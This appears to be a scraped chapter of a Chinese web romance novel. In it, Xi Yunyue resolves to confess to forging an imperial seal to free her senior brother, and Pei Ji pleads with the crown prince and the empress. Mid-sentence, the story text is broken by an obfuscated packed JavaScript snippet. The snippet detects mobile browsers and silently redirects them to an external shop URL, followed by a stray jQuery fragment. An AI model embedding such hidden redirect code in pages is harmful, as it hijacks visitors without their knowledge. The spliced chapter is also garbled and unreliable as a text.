57. 第 57 章
作品:《被纨绔国舅碰瓷后》 待到奚云月来到御砚楼的街上,心境轻松了很多,裴忌不在身边,她也少了很多悲伤的情绪,想着店里还有许多要做的事,得好好做个交代,等到师兄休养了好再回来,也好接手。
她走到御砚楼的大门外,反复看了几眼,又有些茫然。
招牌没了,大门也被封着,往日迎来送往金碧辉煌的铺子,竟显出颓败之象。
她走上阶梯,看到大门上的那个封字,顿时一阵昏眩,这时路过的妇人看来,赶紧过来扶她,“姑娘,你怎么样。”
她的力气缓缓地回到自己身体里,谢过大娘,然后呆呆地看向铺子,钟掌柜,伙计,还有御砚楼的牌匾,都在眼前没有了,她眼睛一眨,想看看是不是自己看错了,结果,还是那样。
什么都没有。
她茫然地坐到台阶上,月色残忍温柔地披到她的手背上,如此冰冷,令人心底发寒,比她预想得更糟,怀南王的谋逆,终于还是牵连到了御砚楼,她师兄半辈子的心血付之一炬。
她呆呆地坐在那里,十分可怜。
路过的人好心提醒,“姑娘,别坐这里了,这家老板涉嫌谋反,里面的人全都被抓起来了,听说没几天就要问斩了,你坐在这里,万一被当成同党,那就完了,还是赶紧走吧。”
*
奚云月无处可去,最后还是回到了自己家,奚氏铺坊外,靖川低头耷拉地站在那里,像是知道她一定会回来,她问裴忌在哪。
他缩着脖子,“爷临时有事被太子召,进宫了。”
她又问,“御砚楼又是怎么回事。”
靖川本来不想说,可事到如此,不说已经是行不通了。
他想到裴忌临走前的交代,闭了闭眼,“齐公子认下了伪造玉玺的重罪,御砚楼一起被封,钟掌柜和伙计都下了大狱,没过几日,齐公子就要问斩了,奚姑娘,爷不是有心瞒你的,他知道你知道一定不会答应齐公子认罪,川可以对天发誓,认罪是齐公子一个人的主意,连爷也不知道,他就主动投案自首了,爷想阻止的时候已经来不及了!”
齐清晖投案的原因很简单,这桩重罪本来就是他的,是他疏忽行事惹怒了怀南王,这才将麻烦惹到了师妹身上。
他本做好赴死的准备,一条贱命,死了也没什么大不了。
若能换来奚云月的平安无虞,也是偿了师父死前的心愿。
所以他并没有去庄子上休养,等到可以行动了,就找了个借口偷偷溜回来,知道怀南王事败后,第一时间便去了官衙。
他知道玉玺的图纸,且与怀南王有所往来,御砚楼还是怀南王帮他建起,行踪密切,连怀南王的野心也一一道出,人证物证俱在,没有什么可质疑的,当即就落字画押,关进了牢里。
奚云月问清了大牢的位置,转头就要走,靖川慌张将她拦住,“奚姑娘慎重,那里不是咱们能去的地方,若是你想见齐公子,可以让爷想想办法,就凭咱们两个人,是绝对靠近不了那里的,还会打草惊蛇,反被当成同犯抓起来。”
她脚步速度不减,“谁说我是去看他的。”
“那姑娘想去哪里,靖川陪你。”
“这个地方只有我去得了,你陪不了,也不需要陪。”
靖川有些惊恐,“姑娘说的是哪里。”
奚云月没有瞒他,“我才是仿制玉玺的主犯,师兄是被冤枉的,我现在去官府说明真相,将师兄救出来,将无辜的人都救出来。”
她现在终于明白,裴忌为什么要将她带进国公府了,他什么都知道,他知道假冒的玉玺出自她的手,他也知道她不会容易齐清晖顶罪,他想让她什么都不知道的时候就被关进国公府,等到一切尘埃落定,她再出来,就什么都变了。
一旦齐清晖被斩。
她再认罪,便辜负了他的用意。
但那样活着,她便是阴沟里的老鼠,一辈子都见不了光。
裴忌挣扎着,既想让她磊落,也想让她苟活,他两面撕扯,一面高兴将她救出,一面担心她无畏赴死,奚云月终于懂了他的苦心,可抱歉,她也要辜负他的苦心了。
她对不起的人那么好。
好像最对不起的人就是他了。
与此同时,东宫待客的书房外,裴忌正在窗牖外盯着那一片晕黄的烛光,太子急召他来,来了却又不着急见他,将他在外面晾了一个时辰。
他几次询问内侍,对方却只说快了快了。
他心急如焚,如火油烧着,转身要走。
正在这里,那扇门终于打开,长身玉立的萧禹在月色下出现,他唤住要走的裴忌,让内侍送来茶盏,重新将门关上。
裴忌余光一扫,便看到他的长案上满满的奏本,萧禹自从行宫出事后,行事便十分谨慎,工作更加勤勉,皇上还重病着,他将所有时间都用在批阅奏本上,半刻也不曾懈怠。
后来查清那黎妃的轻生是受怀南王的唆使,怀南王事败,黎妃也被皇上打入了冷宫,可萧禹对女色上也受了些影响。
他对太子妃也不如以前热络,全然是君子行径,不露半点柔情蜜意。
他拿了些朝堂上的事情问裴忌,裴忌耐心答复,内心疑惑渐起,这些事情并不是什么急事,就算明天再论也是可以的,根本不需将他急召入宫,裴忌耐着性子,“若殿下只是为了这些事。”
“这些事不重要吗?”
他自知失言,连忙补救,“当然不,太子殿下若有需要,裴忌随时可以。”
“既如此,那便开始。”
这一谈,又是一个多时辰,转眼已经到了亥时,早该入睡了,可萧禹仍然兴致勃勃,裴忌知道再不提出宫,今夜只能在宫里住下了,他终于寻到话头,提出告辞。
这时内侍附在萧禹耳边说什么。
他摆摆手,让内侍离去。
一双清风雅正的眸光看向自己的小舅舅,也是他最信赖的臣子,“她去认罪了。”
裴忌如遭雷击。
他难以置信地看向萧禹,在一刹那间终于明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087362|193024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白他拖住自己的用意。
“本殿下不计较你冒犯之罪,只是以后,你也当知道身为臣子的本分,知道包庇谋逆案的同党是什么罪吗?这次我装不知情,但希望没有以后了。”
他艰涩开口,“殿下,她一个弱女子被权势所逼,不是为了谋财,而是为了救她相依为命长大的师兄,过不在此。”
“但她参与了是事实。”
天子犯法,与庶民同罪。
他既为太子,就应该清正本心,不偏不倚,才能当好未来的储君。
若不是看到他与奚云月情谊非常,今天他带着羽林卫救人的时候,他就会有所动作了,希望他不要执迷不悟,浪费他这一番苦心。
*
裴忌执意出宫,闹得不可开交,最后还是皇后身边的福嬷嬷过来劝阻,才将他请到了坤宁宫的殿内,本该睡下的裴皇后看着他通红的眼,一句话还没说,他就扑通一声跪下了。
“你这是什么意思。”纵使心疼,裴皇后却也不是糊涂人。
她知道裴忌为什么跪,可是他跪了又能改得了什么。
福嬷嬷扶了几下,他也不肯起,裴皇后就有些动怒了,“你厉害,你对着你亲姐姐下跪,逼着我去救你的心上了!你有没有想过现在是什么处境,虽然处置了逆党,可他多年来经营了那么多势力,我们得胜只是侥幸,拿准了他狂傲的短处,若是我们也同他一样,轻慢自大,那下一个怀南王就是我们,禹儿虽然是我的亲儿子,可我到底姓萧,你父亲谨慎小心,不肯出一点错处,让人抓到把柄,你倒好,替一个逆党求情!”
眼见着她越说越气,像是有被气晕过去,裴忌果然从地上起来,过去扶住她,轻抚着她的背,使她那口气慢慢顺下。
“是,臣弟知错了。”
“你呀,哎。”
裴皇后指着他,连叹了几声,不知道说什么好,“皇上重病不愈,御医也没什么好办法,禹儿最近心情不大好,在这个节骨眼上,你就别给我添乱了。”
她既吃了奚云月送来的油酥果子,又怎么可能真的让她死。
那么水灵的小姑娘,坚韧娇俏,即便裴忌不说,她也会想些办法,留下她的命来。
“你明日休沐,好好在家里反醒,没我的命令不允许出来!”
“是,臣弟领命。”
方才有多混帐,这会就有多调贴,裴皇后和福嬷嬷对视一眼,真是不知道说什么好,她叹了口气,把幼弟的手牵到掌心。
若是平时,裴忌一定挣扎着躲开,可他这会儿却是动也不动,宛若木雕。
见他这样,裴皇后如何不心疼,“总之,姐姐答应你会想办法,当务之急,你切莫晕了头做些不理智的事来,若是实在忍不住,就想想爹,你大哥,还有我。你生在国公府,就注定了不能任性而为,若是连这一点都不能明白,就枉为萧家人了。”
他声音艰涩,“臣弟明白。”
裴皇后这是跟他说了真心话,他若知趣,就该谢恩了。

